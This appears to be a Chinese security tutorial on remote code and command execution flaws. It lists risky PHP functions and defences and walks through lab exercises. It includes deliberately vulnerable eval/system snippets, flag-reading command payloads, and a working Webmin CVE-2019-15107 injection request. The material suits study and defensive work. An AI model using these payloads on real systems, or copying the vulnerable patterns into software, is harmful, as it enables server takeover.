RCE代码及命令执行漏洞
字数 1468 2025-08-11 21:26:39
RCE代码及命令执行漏洞详解
一、概念
RCE (Remote Code/Command Execution) 漏洞分为代码执行和命令执行两种类型:
- 代码执行漏洞:当Web应用调用能将字符串转化成代码的函数时,若未对用户输入进行控制,导致攻击者可执行任意脚本代码。
- 命令执行漏洞:当应用调用系统命令处理函数时,若用户能控制这些参数,可将恶意命令拼接到正常命令中执行。
二、分类与细节
1. 代码执行漏洞
1.1 涉及环境
- 脚本代码:PHP、Java、Python等
- 产生场景:
- Web源码:ThinkPHP、EyouCMS、WordPress等
- 中间件平台:Tomcat、Apache Struts2、Redis等
- 其他环境:PHP-CGI、Jenkins-CI、Java RMI等
1.2 检测方法
- 白盒测试:代码审计
- 黑盒测试:
- 漏洞扫描工具
- 公开漏洞利用
- 手工测试参数及功能点
1.3 防御措施
- 禁用敏感函数
- 对变量进行过滤或固定
- 使用WAF产品
1.4 相关函数(PHP)
eval():将字符串作为PHP代码执行assert():检查断言是否为falsepreg_replace():在PHP<5.5.0时存在风险include/require:需开启allow_url_include(PHP>5.2.0)create_function()call_user_func()- 动态函数调用:
$_GET['a']($_GET['b'])
1.5 案例演示
<?php
$code=$_GET['x'];
eval($code);
?>
访问方式:
http://127.0.0.1/test.php?x=phpinfo();http://127.0.0.1/test.php?x=echo 1;
2. 命令执行漏洞
2.1 涉及系统
- Linux(对大小写敏感)
- Windows(对大小写不敏感)
2.2 产生场景
- Web源码:Nexus、Webmin、ElasticSearch等
- 中间件平台:Weblogic、Apache等
- 其他环境:Postgresql、Samba、Supervisord等
2.3 检测方法
同代码执行漏洞检测方法
2.4 防御措施
同代码执行漏洞防御措施
2.5 相关函数(PHP)
system()exec()- 反引号
`` shell_exec()passthru()popen()proc_popen()
2.6 案例演示
<?php
$code=$_GET['x'];
echo system($code);
?>
访问方式:http://127.0.0.1/test.php?x=ipconfig
三、实战案例分析
案例1:命令注入执行分析(墨者靶场)
- 打开目标环境
- 测试平台功能,发现可能存在命令执行漏洞
- 抓包分析,使用payload:
cat<key_1173510526514.php
案例2:PHP代码分析溯源
- 打开目标环境
- 对加密代码进行解密(需加双引号):
<?php echo (gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=")));
- 分析源码发现只需添加参数a即可利用
- 使用payload:
tac<key_2668745917315.php
案例3:Webmin CVE-2019-15107漏洞利用
- 搭建环境:
cd webmin/
cd CVE-2019-15107/
docker-compose up -d
- 访问目标:
https://192.168.61.129:10000/ - 对登录口抓包,发送以下payload:
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:10000
Origin: https://x.x.x.x:10000
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
- 观察返回结果验证命令执行
四、总结
RCE漏洞危害极大,可导致服务器完全沦陷。开发人员应:
- 避免使用危险函数
- 对所有用户输入进行严格过滤
- 使用最小权限原则
- 定期进行安全审计和漏洞扫描
安全研究人员在测试时应遵守法律法规,仅在授权环境下进行测试。